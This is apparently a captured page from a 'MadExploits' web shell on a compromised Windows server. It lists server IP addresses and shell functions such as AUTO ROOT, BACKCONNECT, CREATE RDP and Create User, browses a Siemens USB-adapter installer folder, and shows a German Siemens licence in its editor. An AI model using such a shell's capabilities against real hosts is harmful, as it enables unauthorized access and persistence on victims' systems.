Windows NT SRV-DATA 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
: 192.168.213.201 | : 216.73.216.72
Cant Read [ /etc/named.conf ]
8.2.0
ADMINISTRATEUR
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
[ E ]
[ Z ]
E: /
Workflow /
SUPPORT_IT /
SIEMENS /
[ HOME SHELL ]
Name
Size
Permission
Action
MSI
[ DIR ]
drwxrwxrwx
PC_Adapter_USB
[ DIR ]
drwxrwxrwx
_Manuals
[ DIR ]
drwxrwxrwx
_Product_Information
[ DIR ]
drwxrwxrwx
BackG.bmp
301.05
KB
-rw-rw-rw-
PC_Adapter_USB - Leame.rtf
134.74
KB
-rw-rw-rw-
PC_Adapter_USB - Leggimi.rtf
138.22
KB
-rw-rw-rw-
PC_Adapter_USB - Liesmich.rtf
130.43
KB
-rw-rw-rw-
PC_Adapter_USB - Lisezmoi.rtf
140.82
KB
-rw-rw-rw-
PC_Adapter_USB - Readme.rtf
138.75
KB
-rw-rw-rw-
Setup.ex_
2.76
MB
-rw-rw-rw-
Setup.exe
149.52
KB
-rwxrwxrwx
Setups.ini
10.88
KB
-rw-rw-rw-
Splash_STEP_7.bmp
434.59
KB
-rw-rw-rw-
Top.bmp
85.24
KB
-rw-rw-rw-
VB6STKIT.DLL
99.5
KB
-rw-rw-rw-
Welcome.bmp
457.86
KB
-rw-rw-rw-
autorun.inf
94
B
-rw-rw-rw-
licensea.txt
14.81
KB
-rw-rw-rw-
licenseb.txt
14.81
KB
-rw-rw-rw-
licensec.txt
16.08
KB
-rw-rw-rw-
licensed.txt
15.43
KB
-rw-rw-rw-
licensee.txt
14.79
KB
-rw-rw-rw-
msvbvm60.dll
1.32
MB
-rw-rw-rw-
suppress.exe
32.08
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : licensea.txt
Achtung: Diese Software ist durch deutsche und/oder US-amerikanische Urheberrechtsgesetze und Bestimmungen internationaler Vertr�ge gesch�tzt. Unbefugte Vervielf�ltigung und unbefugter Vertrieb dieser Software oder Teilen davon sind strafbar. Dies wird sowohl straf- als auch zivilrechtlich verfolgt und kann empfindliche Strafen und/oder Schadensersatzforderungen zur Folge haben. Vor Installation und Nutzung lesen Sie bitte die f�r diese Software g�ltigen Lizenzbestimmungen. Diese finden Sie im Anschluss an diesen Hinweistext. Haben Sie diese Software auf einer CD mit dem Vermerk "Trial-Version" oder zusammen mit einer f�r Sie lizenzierten Software erhalten, so ist die Nutzung der Software nur zu Test- und Validierungszwecken gem�� den im Anschluss genannten Bestimmungen f�r die Trial-License zul�ssig. Dazu ist es erforderlich, dass auf Ihrem Rechner Programme, Software-Bibliotheken etc. installiert werden. Wir empfehlen Ihnen deshalb dringend, die Installation entweder auf einem Einzelplatzrechner oder auf einem Rechner vorzunehmen, der nicht im Produktionsprozess eingesetzt oder zur Haltung wichtiger Daten ben�tigt wird, da es nicht v�llig ausgeschlossen werden kann, dass vorhandene Dateien ver�ndert oder �berschrieben werden. F�r aus dieser Installation bzw. der Nichtbeachtung dieses Warnhinweises resultierende Sch�den und/oder Datenverluste k�nnen wir deshalb keinerlei Haftung �bernehmen. Jede andere Art der Nutzung dieser Software ist nur mit Besitz einer g�ltigen Lizenz von uns zul�ssig. Sollten Sie nicht im Besitz einer g�ltigen Lizenz sein, die durch Vorlage eines entsprechenden Certificate of License/Software-Produktscheins nachgewiesen werden kann, brechen Sie bitte die Installation sofort ab und wenden Sie sich zur Vermeidung von Schadensersatzforderungen bitte unverz�glich an eine unserer Niederlassungen. Allgemeine Bedingungen zur �berlassung von Software f�r Automatisierungs- und Antriebstechnik (2006-09-21) 1. �berlassung der Software an Lizenznehmer und Einr�umung von Nutzungsrechten an der Software 1.1 F�r die �berlassung von Software f�r Automatisierungs- und Antriebstechnik durch uns an den Lizenznehmer gelten ausschlie�lich diese Allgemeinen Bedingungen. Allgemeine Gesch�ftsbedingungen des Lizenznehmers gelten nur insoweit, als wir ihnen ausdr�cklich schriftlich zugestimmt haben. F�r den Umfang der �berlassung der Software sind die beiderseitigen �bereinstimmenden schriftlichen Erkl�rungen ma�gebend. Wir r�umen dem Lizenznehmer Nutzungsrechte an der in der Auftragsbest�tigung oder - falls der Lizenznehmer keine Auftragsbest�tigung erh�lt - an der im Certificate of License oder - falls der Lizenznehmer anstelle des Certificate of License einen Softwareproduktschein erh�lt - an der im Softwareproduktschein genannten Software (nachfolgend "SW" genannt) ein. Das Certificate of License und der Softwareproduktschein werden nachfolgend zusammenfassend "CoL" genannt. Der Lizenznehmer erh�lt das CoL mit der �berlassung der SW bzw. des Lieferscheins. Die Form der �berlassung der SW ergibt sich ebenfalls direkt aus der Auftragsbest�tigung oder aus der in der Auftragsbest�tigung enthaltenen Bestellnummer der SW in Verbindung mit den dazugeh�rigen Bestelldaten unseres zum Zeitpunkt der Auftragsbest�tigung g�ltigen Katalogs (nachfolgend zusammenfassend "Auftragsdaten" genannt) bzw. aus dem CoL. Erh�lt der Lizenznehmer keinen Datentr�ger, ist er berechtigt, die bei ihm bereits vorhandene SW in dem zur Aus�bung der ihm einger�umten Nutzungsrechte erforderlichen Umfang zu vervielf�ltigen. Dies gilt entsprechend bei elektronischer �berlassung der SW (downloading). Soweit in diesen Allgemeinen Bedingungen auf die Auftragsdaten bzw. das CoL verwiesen wird, ist der Verweis auf das CoL dann von Bedeutung, wenn der Lizenznehmer keine Auftragsbest�tigung erh�lt. In jedem Fall sind die in den Auftragsdaten enthaltenen Daten auch im CoL enthalten. 1.2 Die zu der SW geh�rende Dokumentation (nachfolgend "Dokumentation" genannt) ist getrennt zu erwerben, es sei denn, es ergibt sich aus den Auftragsdaten bzw. dem CoL, dass diese zum Lieferumfang geh�rt. Ist der Lizenznehmer nach Ziffer 1.1 zum Vervielf�ltigen der SW berechtigt, so gilt dies entsprechend f�r die Dokumentation, soweit diese zum Lieferumfang geh�rt. 1.3 Erh�lt der Lizenznehmer von uns f�r die SW einen License Key, der zur technischen Freischaltung der SW dient (nachfolgend "License Key" genannt), so ist dieser mit zu installieren. 1.4 Die dem Lizenznehmer an der SW einger�umten Rechte ergeben sich aus dem Lizenz-Typ (siehe Abschnitt 2) und dem Software-Typ (siehe Abschnitt 3). Lizenz-Typ und Software-Typ ergeben sich aus den Auftragsdaten bzw. aus dem CoL. Erfolgt die �berlassung der SW elektronisch oder durch die Einr�umung von Vervielf�ltigungsrechten, beziehen sich die in diesen Allgemeinen Bedingungen genannten Rechte und Pflichten auf die rechtm��ig erstellten Kopien. 1.5 Ist der Lizenznehmer berechtigt im Besitz einer fr�heren Version/Release der SW (nachfolgend "Fr�here Version" genannt ), hat der Lizenznehmer das Recht, die an der SW einger�umten Nutzungsrechte nach seiner Wahl entweder an der SW oder - soweit dies technisch vorgesehen ist - an der Fr�heren Version auszu�ben (downgrading). Wenn die SW ein Upgrade oder PowerPack gem�� Abschnitt 4 ist, gilt erg�nzend Abschnitt 4. 1.6 Ergibt sich aus den Auftragsdaten bzw. dem CoL, dass der Lizenznehmer nur den Datentr�ger aber keine Lizenz erh�lt, so ist der Lizenznehmer zur Nutzung der SW erst berechtigt, wenn er eine Lizenz entsprechend Abschnitt 2 erwirbt. Bis zum Erwerb der Lizenz ist der Lizenznehmer auch nicht zur Weitergabe der SW an Dritte berechtigt. 1.7 Soweit die SW Open Source Software (nachfolgend "OSS" genannt) enth�lt, ist diese in der Readme_OSS-Datei der SW aufgef�hrt. Der Lizenznehmer ist berechtigt, die OSS gem�� den jeweils einschl�gigen, f�r die OSS geltenden Lizenzbedingungen zu nutzen. Diese sind auf dem Datentr�ger, mit dem der Lizenznehmer die SW erh�lt, enthalten. F�r OSS gelten vorrangig vor den vorliegenden Allgemeinen Bedingungen die Lizenzbedingungen, denen die jeweilige OSS unterliegt. Soweit die Lizenzbedingungen f�r die OSS eine Herausgabe des Quellcodes vorsehen, werden wir diesen auf Verlangen des Lizenznehmers gegen entsprechenden Aufwendungsersatz zur Verf�gung stellen. 1.8 Die SW kann Lizenzsoftware sein, d. h. Software, die nicht von uns selbst entwickelt wurde, sondern die wir von Dritten (nachfolgend "Lizenzgeber" genannt), z. B. Microsoft Licensing Inc., lizenziert bekommen haben. Erh�lt der Lizenznehmer in diesem Fall mit der SW Bedingungen des jeweiligen Lizenzgebers, so gelten diese im Hinblick auf die Haftung des Lizenzgebers dem Lizenznehmer gegen�ber. F�r die Haftung von uns dem Lizenznehmer gegen�ber gelten diese Allgemeinen Bedingungen. 2. Lizenz-Typ Je nach Lizenz-Typ werden dem Lizenznehmer an der SW die folgenden Rechte einger�umt: 2.1 Single License (One Off License, Copy License) Der etwaig im Softwareproduktschein verwendete Begriff One Off License oder Copy License entspricht der Single License. Die folgende Regelung gilt f�r die One Off License/Copy License voll umf�nglich. Der Lizenznehmer erh�lt das nicht-ausschlie�liche, zeitlich unbegrenzte, gem�� Ziffer 5.3 �bertragbare Recht, die SW auf einem (1) Ger�t zu installieren und die so installierte SW auf die in den Auftragsdaten bzw. im CoL genannte Art (s. "Art der Nutzung") zu nutzen. 2.2 Floating License Der Lizenznehmer erh�lt das nicht-ausschlie�liche, zeitlich unbegrenzte, gem�� Ziffer 5.3 �bertragbare Recht, die SW auf beliebig vielen Ger�ten des Lizenznehmers zu installieren. Die Anzahl der Personen, die die SW zeitgleich benutzen d�rfen ("User") ergibt sich aus den Auftragsdaten bzw. dem CoL (s. "Art der Nutzung"). 2.3 Rental License Der Lizenznehmer erh�lt das nicht-ausschlie�liche, zeitlich gem�� den Auftragsdaten bzw. dem CoL (s. "Art der Nutzung") begrenzte, gem�� Ziffer 5.3 �bertragbare Recht, die SW auf einem (1) Ger�t zu installieren und zu nutzen. Ist die Nutzungsdauer in Stunden angegeben, beginnt die f�r die Berechnung der zeitlichen Begrenzung ma�gebliche Nutzung jeweils mit dem Starten und endet mit dem Schlie�en der SW. Ist die Nutzungsdauer in Tagen, Wochen oder Monaten angegeben, so gilt der angegebene Zeitraum - beginnend mit dem erstmaligen Starten der SW - unabh�ngig von der tats�chlichen Nutzung. 2.4 Trial License Der Lizenznehmer erh�lt das nicht-ausschlie�liche, nicht-�bertragbare Recht, die SW auf einem (1) Ger�t zu installieren und zu Validierungszwecken auf die in den Auftragsdaten bzw. im CoL genannte Art (s. "Art der Nutzung") zu nutzen. Die Nutzungsdauer ist auf 14 Tage - beginnend mit dem erstmaligen Starten der SW - begrenzt, es sei denn, aus den Auftragsdaten bzw. dem CoL ergibt sich eine andere Nutzungsdauer. 2.5 Factory License Der Lizenznehmer erh�lt das nicht-ausschlie�liche, zeitlich unbegrenzte, gem�� Ziffer 5.3 �bertragbare Recht, die SW in einer (1) Betriebsst�tte des Lizenznehmers zu installieren und zu nutzen. Die Anzahl der Ger�te, auf denen die SW gleichzeitig in dieser Betriebsst�tte installiert und genutzt werden darf, ergibt sich aus den Auftragsdaten bzw. dem CoL (s. "Art der Nutzung"). Eine Betriebsst�tte wird durch ihre Adresse definiert. Betriebsst�tten mit unterschiedlichen Adressen sind unterschiedliche Betriebsst�tten im Sinne dieser Allgemeinen Bedingungen, sofern nicht in den Auftragsdaten bzw. dem CoL etwas Anderes vereinbart ist. Der Lizenznehmer ist berechtigt, die SW zur dauerhaften Nutzung in einer anderen Betriebsst�tte zu installieren, vorausgesetzt er deinstalliert die SW von allen Ger�ten der bisherigen Betriebsst�tte und gibt die Nutzung der SW an der bisherigen Betriebsst�tte komplett auf. 3. Software-Typ Ist der Software-Typ weder in den Auftragsdaten, noch im CoL angegeben, so gelten f�r die SW die Rechte nach Ziffer 3.2 (Runtime Software). 3.1 Engineering Software (nachfolgend "E-SW" genannt) Erzeugt der Lizenznehmer mit E-SW eigene Programme oder Daten, die Teile der E-SW enthalten, so hat der Lizenznehmer das lizenzgeb�hrenfreie Recht, diese Teile der E-SW als Bestandteil seiner eigenen Programme oder Daten zu vervielf�ltigen, zu nutzen oder Dritten zur Nutzung zu �berlassen. Bei der �berlassung an Dritte sind diesen hinsichtlich der o.g. Teile der E-SW den Ziffern 5.1. und 5.2. entsprechende Bestimmungen schriftlich aufzuerlegen. 3.2 Runtime Software (nachfolgend "R-SW" genannt) Bindet der Lizenznehmer R-SW oder Teile davon in eigene Programme oder Daten ein, so muss der Lizenznehmer vor jeder Installation oder Vervielf�ltigung - je nachdem, was fr�her erfolgt - der eigenen Programme oder Daten, die R-SW oder Teile davon enthalten, eine Lizenz an der R-SW entsprechend der beabsichtigten Nutzungsart gem�� dem dann g�ltigen Siemens-Katalog erwerben. �berl�sst der Lizenznehmer die genannten Programme oder Daten Dritten zur Nutzung, so sind diesen hinsichtlich der darin enthaltenen Teile der R-SW dem Abschnitt 5 entsprechende Bestimmungen schriftlich aufzuerlegen. Davon unber�hrt bleibt die Verpflichtung des Lizenznehmers, eine Lizenz an der R-SW zu erwerben, wenn diese im Original vervielf�ltigt wird. Sofern in der R-SW Tools zur Parametrierung/Konfiguration enthalten und f�r diese erweiterte Rechte einger�umt sind, ergibt sich dies aus der Readme-Datei der R-SW. 4. Upgrade und PowerPack Ergibt sich aus den Auftragsdaten bzw. dem CoL, z.B. durch den Zusatz "PowerPack" oder "Upgrade" beim Produktnamen der SW, dass die SW der Hochr�stung einer anderen Software dient (nachfolgend "Ursprungslizenz" genannt), hat der Lizenznehmer die ihm an der SW einger�umten Rechte auch an der Ursprungslizenz, sobald diese mit dem Upgrade/ PowerPack hochger�stet ist. Mit der Hochr�stung enden die dem Lizenznehmer an der Ursprungslizenz urspr�nglich einger�umten Nutzungsrechte. Der Lizenznehmer ist jedoch berechtigt, jederzeit die Hochr�stung - soweit dies technisch vorgesehen ist - r�ckg�ngig zu machen (downgrading) und die ihm einger�umten Nutzungsrechte an der SW an der Ursprungslizenz in entsprechender Anwendung von Ziffer 1.5 auszu�ben. 5. Weitere Rechte und Pflichten des Lizenznehmers 5.1 Wenn auf dem Datentr�ger oder der Readme-Datei der SW kein gegenteiliger Vermerk �ber eine bestimmte Anzahl von Kopien enthalten ist, darf der Lizenznehmer von jedem Exemplar der SW, zu dessen Nutzung er nach diesen Allgemeinen Bedingungen berechtigt ist, eine angemessene Anzahl von Kopien anfertigen, die ausschlie�lich f�r Datensicherungszwecke verwendet werden d�rfen. Im �brigen darf der Lizenznehmer die SW nur vervielf�ltigen, wenn und soweit ihm von uns schriftlich Vervielf�ltigungsrechte einger�umt sind. 5.2 Der Lizenznehmer darf die SW nicht �ndern, nicht zur�ckentwickeln oder �bersetzen und er darf keine Teile herausl�sen, soweit dies nicht nach den Bestimmungen des Urheberrechtsgesetzes zwingend erlaubt ist. Der Lizenznehmer darf ferner alpha-numerische Kennungen, Marken und Urheberrechtsvermerke von der SW oder dem Datentr�ger nicht entfernen und wird sie, soweit er zur Vervielf�ltigung berechtigt ist, bei dieser unver�ndert mit vervielf�ltigen. Die vorstehende Regelung gilt entsprechend f�r die gem�� Abschnitt 1 �berlassene Dokumentation. 5.3 Der Lizenznehmer ist berechtigt, das ihm einger�umte Nutzungsrecht auf einen Dritten zu �bertragen, vorausgesetzt er trifft mit dem Dritten eine schriftliche Vereinbarung, die allen Bestimmungen dieses Abschnitts 5 entspricht und er keine Kopien der SW beh�lt. Hat der Lizenznehmer f�r die SW einen License Key erhalten, so ist dieser dem Dritten zusammen mit der SW zu �berlassen. Ferner ist dem Dritten das CoL zusammen mit diesen Allgemeinen Bedingungen zu �bergeben. Der Lizenznehmer wird uns auf unseren Wunsch jederzeit das f�r die SW erhaltene CoL vorlegen. 5.4 Ist die SW ein PowerPack oder ein Upgrade, wird der Lizenznehmer das CoL der Ursprungslizenz aufbewahren und auf Wunsch von uns jederzeit zusammen mit dem CoL der SW vorlegen. �bertr�gt der Lizenznehmer sein Nutzungsrecht an der PowerPack SW bzw. Upgrade SW gem�� Ziffer 5.3, wird er dem Dritten auch das CoL der Ursprungslizenz �bergeben. 5.5 Erh�lt der Lizenznehmer einen Datentr�ger, der neben der SW weitere Software-Produkte enth�lt, die zur Nutzung freigeschaltet sind, so hat er an diesen freigeschalteten Software-Produkten ein zeitlich begrenztes, unentgeltliches Recht, sie ausschlie�lich f�r Validierungszwecke zu nutzen. Die zeitliche Begrenzung betr�gt 14 Tage, beginnend mit dem erstmaligen Starten des jeweiligen Software-Programms, soweit nicht, z.B. in der Readme-Datei des jeweiligen Software-Produkts, ein anderer Zeitraum genannt ist. F�r diese ausschlie�lich zu Validierungszwecken �berlassenen Software- Produkte gelten die Bestimmungen dieser Allgemeinen Bedingungen entsprechend. Der Lizenznehmer ist nicht berechtigt, diese Software-Produkte getrennt, d.h. ohne die SW an einen Dritten weiterzugeben. Im �brigen gelten die Bedingungen des Kaufvertrags. Version 2.04
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